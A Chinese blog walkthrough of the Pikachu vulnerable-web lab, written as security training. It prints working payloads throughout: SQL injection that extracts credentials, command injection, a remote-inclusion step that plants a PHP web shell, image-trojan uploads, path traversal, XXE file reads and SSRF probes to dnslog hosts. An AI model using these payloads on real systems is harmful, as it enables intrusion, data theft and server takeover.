今天传的是前一段时间打的pikachu靶场。

咱就是说,前一段时间,我的github被标记成机器人了。百度了一下,然后给那边发了封邮件,来来回回两次才总算弄好。我还不够勤快嘛,还把我标记了呜呜呜。

1、Burte Force(暴力破解)

1.1 基于表单的暴力破解

用burp暴力破解,截取到包,然后发送给Intruder(测试器),由于用户名和密码都不知道,所以攻击类型选择Clusterbomb(集中炸弹)模式。在payloads中分别载入用户名和密码的字典。

最后发现用户名为admin,密码为123456。

登录成功会出现如下提示:

1.2 验证码绕过(on server)

这题加了个验证码,同样,先使用burp拦截请求,这次先发送给Repeater(重发器)。先点击发送,在响应里面看到用户名或密码错误,再修改一下用户名或者密码,观察出现的结果。

如果结果是验证码错误,则验证码会刷新,就不能爆破。但结果若还是显示账户或密码错误,则表示验证码在某一段时间内不会刷新,因此可以使用暴力破解。

第二次发送时还是显示账户或密码错误,因此验证码短时间内不会刷新,可以使用暴力破解。

这时,就可以把请求内容发送给测试器,按照上面那题的做法暴力破解密码。

最后,发现用户名为admin,密码为123456

登录成功:

1.3 验证码绕过(on client)

在这里,验证码如果输入错误,则出现弹窗。即JavaScript验证验证码。直接用burp抓包,发送到重发器,将验证码删掉即可。

可以看到删掉之后,没有出现验证码错误,说明即使验证码会变,但可以直接删掉不验证:

所以直接爆破即可。

得到用户名为admin,密码为123456。

其实哦,我发现这题呀,虽然考察的是上面这种情况,但是在重发器里面即使不删掉验证码,也不会显示验证码错误,所以也可以直接爆破得到用户名和密码。

1.4 token防爆破

在抓取数据包时,发现多了个token:

在重发器中,发现token由响应包确定了,如果请求中没有带上正确的token,会显示csrf token error,因此无法验证账户密码的正确性。

但是,可以在响应包中发现有一个隐藏的表单,里面存放了下一次的token值。所以,我们需要每一次在发送请求包时要拿到上一个返回包的token值放到token包里面。

把包先发送到测试器,在position中将攻击类型选择Pitchfork(音叉),选择密码和token

在options中将线程数设为1(只有获取上一个请求返回的token值才能,做下一次请求,无法并发)

在Grep-Extract选项中添加参数,获取回复,选中token的值复制一下,然后点击ok。

在最下面找到always(总是)选项

回到payloads模块,正常添加第一个变量密码的字典。

第二个变量类型选择递归搜索(Recursive grep),在第一个请求有效负载中粘贴刚刚复制的token值。

开始攻击:

成功得到密码为123456。

2、Cross-Site Scripting(XSS跨站脚本漏洞)

2.1 反射型XSS(get)

输入好像受到了限制,点击submit,发现可以直接在url后面输入:

1
<script>alert('xss')</script> 

成功出现弹窗:

也可以直接在前端将限制长度改大一点,这样就能输入payload了:

2.2 反射型XSS(post)

登录框不能出现xss弹窗,登录进去之后有个输入框,

构造payload,成功出现弹窗:

2.3 存储型XSS

看到一个留言板,构造payload:

成功出现弹窗:

因为是存储型XSS,所以只要点击submit,就会一直出现弹窗。

2.4 DOM型XSS

尝试构造payload,发现有个超链接,里面是不被允许访问,

查看一下网页代码元素:

发现我们构造的语句被放在一个超链接里面了,那我直接构造一个关于超链接的payload:

1
javascript:alert(/xss/)

即形成了:

1
<a href=javascript:alert(/xss/)>xss</a>

在输入框输入之后,再次点击那个超链接时,出现了弹窗:

2.5 DOM型XSS-X

在输入框中尝试,没有结果,下面出现一个超链接,点击一个又出现另一个超链接,于是我又查看一下代码,发现刚刚构造的语句出现在了第二个超链接里面:

跟上面的思路就差不多啦。我继续在输入框中输入:

1
javascript:alert(/xss/)

再次点击第二个超链接,成功出现弹窗:

2.6 XSS之盲打

盲打就是在一切可能的地方尽可能多的提交xss语句,然后看哪一条会被执行,就能获取管理员的cooike。

有两个输入框,于是我在两个输入框都放上payload,没有反应,在提示下登录后台查看(后台账号为admin,密码为123456),发现出现弹窗:

2.7 XSS之过滤

先尝试在输入框输入payload,发现没有反应,查看url地址栏:

发现可能是对某些特殊字符进行了过滤,那我换一个payload试试:

1
<img src=111 onerror=alert('xss')>

成功出现了弹窗:

其实还有很多,比如大小写绕过,构造payload:

1
<sCRipt>alert('xss')</sCRipt>

2.8 XSS之htmlspecialchars

又是在输入框尝试无果,出现了超链接,那就查看一下代码吧:

发现一些特殊字符被过滤掉啦,是时候又该搬出来我可以直接放在超链接里面的payload了:

1
javascript:alert(/xss/)

点击一下那个超链接,成功出现弹窗:

2.9 XSS之href输出

又是有超链接,这个套路我们前面已经用过啦,直接上payload:

1
javascript:alert(/xss/)

点击超链接,成功出现弹窗

2.10 XSS之js输出

在输入框中尝试,没有反应,看看提示,要我输入tmac,输入之后,出现一张图片,那我直接利用图片构造payload,也是前面提到过的:

直接把图片里面的src改成一个错误的,那这样它就会执行onerror啦。

成功出现弹窗:

3、CSRF(跨站请求伪造)

3.1 CSRF(get)

根据提示,随便登录一个账户,我选择了账户名为lili,密码为123456,进去之后,简单修改下信息,点击提交

用burp进行抓包分析:

发现后台没设置CSRF token,是通过get请求来提交修改信息的,可直接在url中修改。例如我将其中的地址改成china:

1
http://192.168.56.1:8099/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18656565545&add=china&email=lili%40pikachu.com&submit=submit

将此URL地址发送给被攻击者,如果被攻击者此时登录状态或cookie/session没有过期,点击时,地址就会被修改:

3.2 CSRF(post)

同样,先登录一个账号:

点击修改个人信息,用burp抓包:

如果是POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击。

这种方法其实对于get和post请求都适用:

burp抓包之后,通过burp自带的csrf poc,复制url,当点击这个url时,信息就会被修改(这里修改的信息是将性别从boy改成girl)

点击那个按钮,信息将会被自动修改,证明存在csrf漏洞:

3.3 CSRF Token

同样,在修改信息时抓包,发现加入了token。

由于token值每次提交后都会失效,恶意攻击者抓到被攻击者的GET请求时里面的token已经失效了,所以网站也就没有执行GET请求的操作,CSRF也就防御成功。

4、SQL-Inject(SQL注入漏洞)

4.1 数字型注入(post)

本关为数字型注入,页面有一个下拉列表,不同的数字对应不同的值,这个数字这里可能存在注入。

任意选择一个数字,点击查询,用burp抓包,放到重发器,在数字后面输入单引号,发现有报错信息:

可以利用报错注入:

①获取数据库用户名
1
2
3
payload:

id=3 or updatexml(1,,concat(0x7e,user(),0x7e),1)

得到数据库用户名为root@localhost

②获得数据库名
1
2
3
payload:

id=3 or updatexml(1,,concat(0x7e,database(),0x7e),1)

得到数据库用户名为pikachu

③获得表名
1
2
3
payload:

id=3 or updatexml(1,concat(0x7e,(select substr(group_concat(table_name),1,31) from information_schema.tables where table_schema=database()),0x7e),1)

因为updatexml只能获取32字节的内容,我用substr()函数获得后面的字节:

④获得字段名

由前面获取的表名,可以看出用户名的表为users

1
2
3
payload:

id=3 or updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,31) from information_schema.columns where table_name='users'),0x7e),1)

可以得到所有列名:

⑤获得用户名和密码
1
2
3
payload:

id=3 or updatexml(1,concat(0x7e,(select substr(group_concat(username,0x3a,password),1,31) from 'users' limit 1),0x7e),1)

用substr()函数依次获得哈,密码应该是用md5加密了,可以丢到md5解密工具进行解密。

4.2 字符型注入(get)

可以看到页面有一个输入框,输入单引号报错,输入两个单引号不报错,存在注入:

获得数据库名:
1
2
3
payload:

'or updatexml(1,concat(0x7e,database(),0x7e),1)#

可以看到数据库名

其他payload跟4.1大差不差,就不写了。

4.3 搜索型注入

这里也有个输入框,输入单引号报错,两个单引号不报错。

payload用4.2完全可以。

获得数据库用户名:
1
2
3
payload:

'or updatexml(1,concat(0x7e,user(),0x7e),1)#

4.4 xx型注入

也是一个输入框,也是可以采用报错注入,只需要将4.2的payload的’改成’)即可。

例如:

1
2
3
payload:

')or updatexml(1,concat(0x7e,database(),0x7e),1)#

4.5 “insert/update”注入

页面的两个输入框在多次尝试下无果,看了看标题,insert和update的注入,有个注册的信息,那就测试一下注册有没有注入吧。

①发现注册的输入框都有sql注入:
1
2
3
payload:

username=11'or updatexml(1,concat(0x7e,database(),0x7e),1) or '1
②注册一个用户,登录进去看看

里面有个修改个人信息,用burp抓包测试一下:

发现每个注册框也存在 sql注入,但前提条件是每个空都先要随便填点东西,不然不满足条件。

1
2
3
payload:

sex=1'or updatexml(1,concat(0x7e,database(),0x7e),1)--+

4.6 “delete”注入

页面有一个留言框,输入留言之后,会在下面显示输入的信息,有个delete可以删除留言,本关是delete注入,在点击delete的时候抓包,在id处发现注入。

1
2
3
payload:

id=updatexml(1,concat(0x7e,database(),0x7e),1)

4.7 “http header”注入

用admin/123456登录进去之后发现,记录了一些信息,用burp抓包,试试头部注入:

显示了ip,尝试将ip改成其他数字,发送,ip还是没变,可能不存在注入。

User-Agent和Accept显示了,改成其他的,变了。输入单引号,出现报错信息,这两处都存在注入。

1
2
3
payload:

1'or updatexml(1,concat(0x7e,database(),0x7e),1) or '1

4.8 盲注(base on boolian)

采用基于布尔型的盲注:

当字母正确时,可以出现正确的信息,错误时出现错误信息。

1
2
3
payload:

'or substr(database(),1,1)='p' limit 0,1#

4.9 盲注(base on time)

本关采用基于时间的盲注:

当字母正确时,会出现延时,不正确时会直接返回错误信息。

1
2
3
payload:

'or if(substr(database(),1,1)='p',sleep(5),0) limit 0,1#

4.10 宽字节注入

这里是因为’会被转义成',即%5c%27,所以使用%df可以变成%df%5c%27,前面两个字节变被认为是一个,剩下后面单独的一个单引号。

1
2
3
payload:

name=%df' union select database(),2#

注意:这里是在burp里面实现的,直接在网页上输这个payload,%会被解析成%25,因此不能行。

5、RCE(远程命令/代码执行)

这里就是存在命令执行,有几个管道符需要区分一下:

1
2
3
4
5
6
7
|    直接执行后面的语句,不管前面真假

& 两边语句都执行,不管前面真假

|| 只有||前面的语句为假时,才执行后面的语句

&& 只有&&前面的语句为真时,才执行后面的语句

5.1 exec”ping”

1
2
3
输入:127.0.0.1 | whoami

(这里的whoami可以任意替换成其他命令)

因此,可以得到系统的一些敏感信息:

5.2 exec”evel”

1
输入phpinfo();

可以得到信息:

6、Files Inclusion(文件包含漏洞)

6.1 File Inclusion(local)

本地文件包含漏洞,可以查看一些系统的敏感信息。

在页面的下拉列表任意选择一个提交后,可以看到url中是显示了文件名称。

先将文件名称换成没有的编号,换成file6.php试试,耶?出现了一个隐藏文件耶。

好了,还是继续试试file7.php,看到出现了报错:

根据报错,可以看出include()函数包含的文件和fi_local.php在同一目录下,采用相对路径,使用尝试获取C:/windows/win.ini的敏感信息。

1
算出要使用相对路径C:/../../../../../../../windows/win.ini

可以查看同目录下的phpinfo.php文件。

D:\phpStudy\PHPTutorial\WWW\phpinfo.php

1
根据报错信息,算出要使用相对路径../../../../phpinfo.php

6.2 File Inclusion(remote)

远程文件包含漏洞,攻击者可以传入任意代码。

6.1的本地包含的payload都适用于本关的远程文件包含。而且可以使用绝对路径。

可以上传远程文件:

现在自己的服务器上写好一个55.txt:

1
<?php fputs(fopen('muma.php','w'),'<?php system($_GET["pass"]);?>');?>

访问远程地址为:http://192.168.56.1:8099/55.txt

此时muma.php已经上传到后台服务器文件夹的同级目录下了:

此时可以访问文件名和执行参数:

1
http://192.168.56.1:8099/pikachu/vul/fileinclude/muma.php?pass=ipconfig&submit=%E6%8F%90%E4%BA%A4

7、Unsafe file downloads(不安全的文件下载)

复制图片下载地址,修改文件路径,尝试获取敏感信息。

1
filename=../../../../phpinfo.php

8、Unsafe file uploads(不安全的文件上传)

8.1 client check(客户端检查)

先尝试上传php文件, 会发现客户端弹出了一个弹框,本关应该就是绕过前端js验证即可。

先上传一张正常的2.jpg图片,然后用burp抓包,将2.jpg修改成2.php,将内容修改为想要添加的php代码,看到已经成功上传:

此时可以访问刚刚上传的php文件:

8.2 MIME type(服务端检查)

先上传一个2.php,然后用burp抓包,可以看到这里显示了content-type,那将它改成允许的,如image/jpg即可。

可以看到此时,2.php已经成功上传:

并且显示了文件的路径,此时可以访问文件:

8.3 getimagesize

本关记得把php.ini中的date.timezone打开:

然后因为本关设置了白名单,所以采用图片马和文件包含漏洞。

1
2
3
制作图片马:

copy 2.jpg/b+2.php/a 3.jpg

将包含恶意代码的3.jpg上传,上传成功且可以看到文件路径:

1
http://192.168.56.1:8099/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/04/15/370534625966c9515b2413576391.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

成功访问到刚刚上传的3.php:

9、Over Permission(越权漏洞)

9.1 水平越权

水平越权:指相同权限下不同的用户可以互相访问。

查看提示,这里有lucy,lili,kobe三个用户。

任意登录一个账号,查看个人信息:

可以直接尝试改上面的username,来切换成其他用户。

如这里改成lili,则会直接出现lili的具体信息:

9.2 垂直越权

垂直越权:是不同级别之间或不同角色之间的越权,一般是低权限用户往高权限越权。

这里有两个用户,管理员:admin/123456,普通用户:pikuchu/000000

分别登录两个账号查看,发现admin有添加用户的的权限,而pikachu只有查看的权限。

接下来的越权就是用pikachu的账号来越权实现添加用户:

首先登录admin的账号,在创建账户页面,点击创建并用burp抓包。

将包发送到重发器,然后丢弃包,并且将admin退出登录。

此时登录普通用户pikachu,查看用户信息,刚刚的用户zzztt没有被添加。

我们将pikachu页面的cookie复制,在重放器里将原来admin的cookie改成pikachu的,并点击发送页面:

此时,再次登录pikachu的账户,发现新账户zzztt添加成功:

10、../../../(目录遍历)

删掉url中的dir_list.php,可以看到整个目录,想访问哪个点进去就可以:

还可以通过../访问到相应目录:

11、I can see your ABC(敏感信息泄露)

在页面源码中直接泄露了测试账号:

利用lili/123456可以登录成功:

看到上面图片的目录,退出登录,在不登录的情况下,可以直接访问目录成功

1
http://192.168.56.1:8099/pikachu/vul/infoleak/abc.php

12、PHP反序列化漏洞

浅浅地说一下,可以先看一下基本的序列化和反序列化的语法。

1
2
3
payload:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('123')</script>";}

此时会弹出弹窗:

13、XXE(XML External Entity attack)

xxe,即xml外部实体注入漏洞。

先提交一个正常的xml格式:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note [
<!ENTITY str "hello world">
]>
<name>&str;</name>

xml被解析了:

利用外部实体,获取系统敏感信息:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">
]>
<c>&b;</c>

14、不安全的URL重定向

在页面中点击最后一句话时,可以看倒url中出现了url=i的参数,尝试将i改成其他的url,看能否实现跳转。

1
例如:url=https://www.baidu.com

然后就会跳转到百度的界面:

15、SSRF(Server-Side Request Forgery)

SSRF,即服务器端请求伪造。

15.1 SSRF(curl)

验证是否存在ssrf漏洞,利用dnslog平台:

1
url=https://5gl0rh.dnslog.cn

得到响应,即存在ssrf漏洞:

发现是通过url请求资源,ssrf支持很多协议:

①http://

1
2
3
将地址跳转到百度:

url=http://www.baidu.com
1
2
3
内网端口探测(通过返回时间和长度判断端口的开放):

url=http://127.0.0.1:3306

②dict://

1
2
3
内网端口探测(可探测到具体的版本号):

url=dict://127.0.0.1:3306
 

③file://

1
2
3
读取文件:

url=file://c:\windows\win.ini

④gopher://

1
2
3
内网端口探测:

url=gopher://127.0.0.1:3306

15.2 SSRF(file_get_content)

本关是采用file_get_contents函数进行文件的读取执行,file_get_contents可以对本地文件进行读取,也可以对远程文件进行读取。

利用dnslog平台验证是否存在ssrf漏洞:

1
url=http://6lyrgu.dnslog.cn

存在回显,说明存在ssrf漏洞:

①http://

1
2
3
将地址跳转到百度:

url=http://www.baidu.com

②file://

1
2
3
读取文件:

url=file://c:\windows\win.ini

③php://

1
2
3
读取后台的php源码:

php://filter/read=convert.base64-encode/resource=ssrf.php